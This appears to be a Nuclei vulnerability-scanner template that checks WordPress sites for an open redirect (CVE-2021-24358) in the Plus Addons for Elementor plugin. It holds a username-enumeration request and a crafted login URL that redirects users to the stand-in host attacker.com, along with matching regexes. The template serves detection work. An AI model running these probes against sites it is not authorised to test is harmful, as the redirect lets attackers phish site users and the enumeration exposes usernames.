id: elementorpage-open-redirect

info:
  name: Plus Addons for Elementor Page Builder < 4.1.10 - Open Redirect
  author: dhiyaneshDk
  severity: medium
  description: WordPress Plus Addons for Elementor Page Builder before 4.1.10 did not validate a redirect parameter on a specifically crafted URL before redirecting the user to it, leading to an open redirect issue.
  reference:
    - https://wpscan.com/vulnerability/fd4352ad-dae0-4404-94d1-11083cb1f44d
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24358
  classification:
    cve-id: CVE-2021-24358
    cwe-id: CWE-601
  tags: wordpress,redirect,wp-plugin,elementor,wp

requests:
  - raw:
      - |
        GET /?author=1 HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /wp-login.php?action=theplusrp&key=&redirecturl=http://attacker.com&forgoturl=http://attacker.com&login={{username}} HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    matchers:
      - type: regex
        part: header
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)attacker\.com\/?(\/|[^.].*)?$' # https://regex101.com/r/ZDYhFh/1

    extractors:
      - type: regex
        part: body
        name: username
        internal: true
        group: 1
        regex:
          - 'Author:(?:[A-Za-z0-9 -\_="]+)?<span(?:[A-Za-z0-9 -\_="]+)?>([A-Za-z0-9]+)<\/span>'

      - type: regex
        part: header
        name: username
        internal: true
        group: 1
        regex:
          - 'ion: https:\/\/[a-z0-9.]+\/author\/([a-z]+)\/'

# Enhanced by mp on 2022/04/13